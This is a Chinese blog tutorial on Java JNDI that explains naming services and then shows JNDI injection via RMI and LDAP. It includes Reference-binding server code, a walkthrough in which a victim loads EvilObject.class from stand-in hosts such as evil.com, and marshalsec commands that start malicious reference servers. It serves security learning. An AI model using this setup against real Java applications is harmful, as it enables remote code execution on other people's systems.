JNDI注入

JNDI注入

JNDI

首先来了解一下,JNDI的出现是为了解决什么问题?

有jndi之前

没有jndi之前,对于一个外部依赖,像mysql数据库,程序开发的过程中需要将具体的数据库地址参数写入到java代码中,程序才能找到具体的数据库地址进行链接。那么数据库配置这些信息可能经常变动的。这就需要开发经常手动去调整配置。

类似于如下这种:

Connection conn=null; 
try { 
    Class.forName("com.mysql.jdbc.Driver", true, Thread.currentThread().getContextClassLoader()); 
    conn=DriverManager.getConnection("jdbc:mysql://MyDBServer?user=qingfeng&password=mingyue"); 
    /* 使用conn并进行SQL操作 */
    ...... 
    conn.close(); 
}catch(Exception e) { 
    e.printStackTrace(); 
}  
finally { 
  if(conn!=null) { 
  try { 
      conn.close(); 
  }catch(SQLException e) {} 
 }  <br>}

这种做法一般在小规模的开发过程中不会产生问题,只要程序员熟悉Java语言、了解JDBC技术和MySQL,可以很快开发出相应的应用程序。

那么这样有什么问题呢?

1、数据库服务器名称MyDBServer 、用户名和口令都可能需要改变,由此引发JDBC URL需要修改;

2、数据库可能改用别的产品,如改用DB2或者Oracle,引发JDBC驱动程序包和类名需要修改;

3、随着实际使用终端的增加,原配置的连接池参数可能需要调整;

等等。。。。。

解决办法:

程序员应该不需要关心“具体的数据库后台是什么?JDBC驱动程序是什么?JDBC URL格式是什么?访问数据库的用户名和口令是什么?”等等这些问题,程序员编写的程序应该没有对 JDBC 驱动程序的引用,没有服务器名称,没有用户名称或口令 —— 甚至没有数据库池或连接管理。而是把这些问题交给J2EE容器来配置和管理,程序员只需要对这些配置和管理进行引用即可。

由此,就有了JNDI。

有jndi之后

有了jndi后,程序员可以不去管数据库相关的配置信息,这些配置都交给J2EE容器来配置和管理,程序员只要对这些配置和管理进行引用即可。其实就是给资源起个名字,再根据名字来找资源。

首先,在J2EE容器中配置JNDI参数,定义一个数据源,也就是JDBC引用参数,给这个数据源设置一个名称;然后,在程序中,通过数据源名称引用数据源从而访问后台数据库。

以下为例子:来自JNDI是什么,怎么理解 - 明志健致远 - 博客园 (cnblogs.com)

  1. 配置数据源

    在JBoss的 D:/jboss420GA/docs/examples/jca 文件夹下面,有很多不同数据库引用的数据源定义模板。将其中的 mysql-ds.xml 文件Copy到你使用的服务器下,如 D:/jboss420GA/server/default/deploy

    修改 mysql-ds.xml 文件的内容,使之能通过JDBC正确访问你的MySQL数据库,如下:

<?xml version="1.0" encoding="UTF-8"?>
<datasources>
<local-tx-datasource>
    <jndi-name>MySqlDS</jndi-name>
    <connection-url>jdbc:mysql://localhost:3306/lw</connection-url>
    <driver-class>com.mysql.jdbc.Driver</driver-class>
    <user-name>root</user-name>
    <password>rootpassword</password>
<exception-sorter-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLExceptionSorter</exception-sorter-class-name>
     <metadata>
        <type-mapping>mySQL</type-mapping>
     </metadata>
 </local-tx-datasource>
</datasources>

这里,定义了一个名为MySqlDS的数据源,其参数包括JDBC的URL,驱动类名,用户名及密码等。

  1. 在程序中引用数据源:
Connection conn=null;
try {
  Context ctx=new InitialContext();
  Object datasourceRef=ctx.lookup("java:MySqlDS"); //引用数据源
  DataSource ds=(Datasource)datasourceRef;
  conn=ds.getConnection();
  /* 使用conn进行数据库SQL操作 */
  ......
  c.close();
}
catch(Exception e) {
  e.printStackTrace();
}
finally {
  if(conn!=null) {
    try {
      conn.close();
    } catch(SQLException e) { }
  }
}

直接使用JDBC或者通过JNDI引用数据源的编程代码量相差无几,但是现在的程序可以不用关心具体JDBC参数了。
在系统部署后,如果数据库的相关参数变更,只需要重新配置 mysql-ds.xml 修改其中的JDBC参数,只要保证数据源的名称不变,那么程序源代码就无需修改。

由此可见,JNDI避免了程序与数据库之间的紧耦合,使应用更加易于配置、易于部署。

什么是JNDI

JNDI,翻译为Java命名和目录结构(JavaNaming And Directory Interface)官方对其解释为JNDI是一组在Java应用中访问命名和目录服务的API(ApplicationProgramming Interface)说明很精炼,但是比较抽象。

命名服务

关于命名服务,其实我们很多时候都在用它,但是并不知道它是它,比较典型的是域名服务器DNS(Domain Naming Service),大对人对DNS还是比较了解的,它是将域名映射到IP地址的服务.比如百度的域名www.baidu.com所映射的IP地址是http://202.108.22.5/,你在浏览器中输入两个内容是到的同一个页面

可以看出命名服务的特点:一个值和另一个值的映射,将我们人类更容易认识的值同计算机更容易认识的值进行一一映射。

目录服务

至于目录服务,从计算机角度理解为在互联网上有着各种各样的资源和主机,但是这些内容都是散落在互联网中,为了访问这些散落的资源并获得相应的服务,就需要用到目录服务。

从我们日常生活中去理解目录服务的概念可以从电话簿说起,电话簿本身就是一个比较典型的目录服务,如果你要找到某个人的电话号码,你需要从电话簿里找到这个人的名称,然后再看其电话号码。

理解了命名服务和目录服务再回过头来看JDNI,它是一个为Java应用程序提供命名服务的应用程序接口,为我们提供了查找和访问各种命名和目录服务的通用统一的接口。通过JNDI统一接口我们可以来访问各种不同类型的服务。如下图所示,我们可以通过JNDI API来访问刚才谈到的DNS。

在这里插入图片描述

JNDI客户端通过名字来查找所需对象,这些对象可以保存在多种的命名服务和目录服务中,像RMI( Remte Method Invocation)、CoRBA(Common Object Quest Broker Architecture, LDAP(Lightweight Directory Access Protocol)、DNS等。

JNDI注入

JNDI+RMI

RMI的Registry、Server、Client 的调用关系可以总结为这个图:

在这里插入图片描述

JNDI和RMI的调用流程大致是:JNDI 在请求到 RMI 之后,RMI 返回了 Exploit 的 http 地址,JNDI 则通过网络获取到了这个类文件,通过类加载器将其加载到了JVM中并且实例化了这个类,而 Exploit 的静态代码块内是打开计算器的代码,实例化时就会执行这段代码。

​​在这里插入图片描述

先看一个例子

import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;

public class JNDIRMIServer {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        LocateRegistry.createRegistry(1099);
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());
    }
}
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMIClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext = new InitialContext();
        RemoteObj obj = (RemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
        System.out.println(obj.sayHello("gogogo"));
    }
}
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteObj extends Remote {

    public String sayHello(String keywords) throws RemoteException;
}
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj {

    public RemoteObjImpl() throws RemoteException {
        //    UnicastRemoteObject.exportObject(this, 0); // 如果不能继承 UnicastRemoteObject 就需要手工导出
    }

    @Override
    public String sayHello(String keywords) throws RemoteException {
        String upKeywords = keywords.toUpperCase();
        System.out.println(upKeywords);
        return upKeywords;
    }
}

在这里插入图片描述

这里的 api 虽然是 JNDI 的服务的,但是实际上确实调用到 RMI 的库里面的,这里我们先打断点调试一下,证明 JNDI 的 api 实际上是调用了 RMI 的库里原生的 lookup() 方法。

在这里插入图片描述

所以说,如果 JNDI 这里是和 RMI 结合起来使用的话,RMI 中存在的漏洞,JNDI 这里也会有。但这并不是 JNDI 的传统意义上的漏洞。

JNDI注入

这个漏洞被称作 Jndi 注入漏洞,它与所调用服务无关,不论你是 RMI,DNS,LDAP 或者是其他的,都会存在这个问题。

原理是在服务端调用了一个 Reference 对象,我个人的理解,它是很像代理的。

代码如下

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;

public class JNDIRMIServer {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        LocateRegistry.createRegistry(1099);
        //这是原来的
        //initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());
        Reference reference = new Reference("Exploit","Exploit","http://127.0.0.1:8000/");
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",reference);
    }
}
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMIClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext = new InitialContext();
        RemoteObj obj = (RemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
        System.out.println(obj.sayHello("gogogo"));
    }
}

Exploit.java还是原来的弹出计算器,我们在该文件目录启动一个http服务

需要注意的是:Exploit.class文件不能在本地目录,需要在其他地方,否则classpath会直接请求本地的Exploit.class文件,而不去请求http服务下的Exploit.class文件。

在这里插入图片描述

主要是Server端,由原来的绑定一个实例改为绑定一个引用(Reference​),这个引用允许从不同的地址来加载代码

在这里插入图片描述

第一个参数是类名,第二个参数是 factory,我觉得 factory 是 Jndi 很好的一个表示,我们可以通过这一个 factory 来代表一个类;第三个参数为地址,这个简单。

通过这个引用(Reference)加载类的话,会初始化该类(Exploit),也就是说我们也可以把执行代码的地方写在静态代码块里面。

关于Exploit.java文件需要注意:

  1. 文件不能申明包名,即package xxx。声明后编译的class文件函数名称会加上包名从而不匹配。
  2. 把Exploit.java及其编译的文件放到其他目录下,不然会在当前目录中直接找到这个类。不起web服务也会命令执行成功。
  3. java版本小于1.8u121。之后版本存在trustCodebaseURL的限制,只信任已有的codebase地址,不再能够从指定codebase中下载字节码。

所以说本质上,jndi注入就是一个类加载的问题。

小结一下

只要攻击者能够:

  1. 控制RMI客户端去调用指定RMI服务器
  2. 在可控RMI服务器上绑定Reference对象,Reference对象指定远程恶意类
  3. 远程恶意类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码

就可以达到RCE的效果。fasjson组件漏洞rmi、ldap的利用形式正是使用lndi注入,而不是有关RMI反序列化。

整个利用过程为:

在这里插入图片描述

  1. 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URI 为 rmi://evil.com:1099/refObj
  2. 原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换而被指向 rmi://evil.com:1099/
  3. 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj 想绑定的 ReferenceWrapper 对象(Reference("EvilObject", "EvilObject", "http://evil-cb.com/"));
  4. 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从 http://evil-cb.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://evil-cb.com/EvilObject.class
  5. 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class
  6. 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行;

疑问:为什么在看RMI的时候,执行命令是在RMI的服务端,但是上面执行命令却是在客户端呢?

答案是:漏洞的主要原理是RMI远程对象加载,即RMI Class Loading机制,会导致RMI客户端命令执行的。

JNDI+LDAP

ldap 是一种协议,并不是 Java 独有的。

LDAP 既是一类服务,也是一种协议,定义在 RFC2251(RFC4511) 中,是早期 X.500 DAP (目录访问协议) 的一个子集,因此有时也被称为 X.500-lite

LDAP Directory 作为一种目录服务,主要用于带有条件限制的对象查询和搜索。目录服务作为一种特殊的数据库,用来保存描述性的、基于属性的详细信息。和传统数据库相比,最大的不同在于目录服务中数据的组织方式,它是一种有层次的树形结构,因此它有优异的读性能,但写性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。

LDAP 的请求和响应是 ASN.1 格式,使用二进制的 BER 编码,操作类型(Operation)包括 Bind/Unbind、Search、Modify、Add、Delete、Compare 等等,除了这些常规的增删改查操作,同时也包含一些拓展的操作类型和异步通知事件。

利用方式是一样的,只需要把客户端lookup请求我们启动的ldap服务即可。

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMIClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        //jndi调用
        InitialContext initialContext = new InitialContext();
//        RemoteObj obj = (RemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
        initialContext.lookup("ldap://127.0.0.1:1389/remoteObj");

    }
}

我们使用我们使用marshalsec反序列化工具起rmi、ldap服务,rmi默认端口是1099,ldap默认端口是1389,可以不加端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit port
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8000/#Exploit port

在这里插入图片描述

参考

JNDI是什么,怎么理解 - 明志健致远 - 博客园 (cnblogs.com)

JNDI是什么 | 鸡哥の博客 (jiges.github.io)

Trail: Java Naming and Directory Interface (The Java™ Tutorials) (oracle.com)

BlackHat 2016 回顾之 JNDI 注入简单解析 (rickgray.me)

java安全漫谈

Java反序列化之JNDI学习 | 芜风 (drun1baby.github.io)

  • 23
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值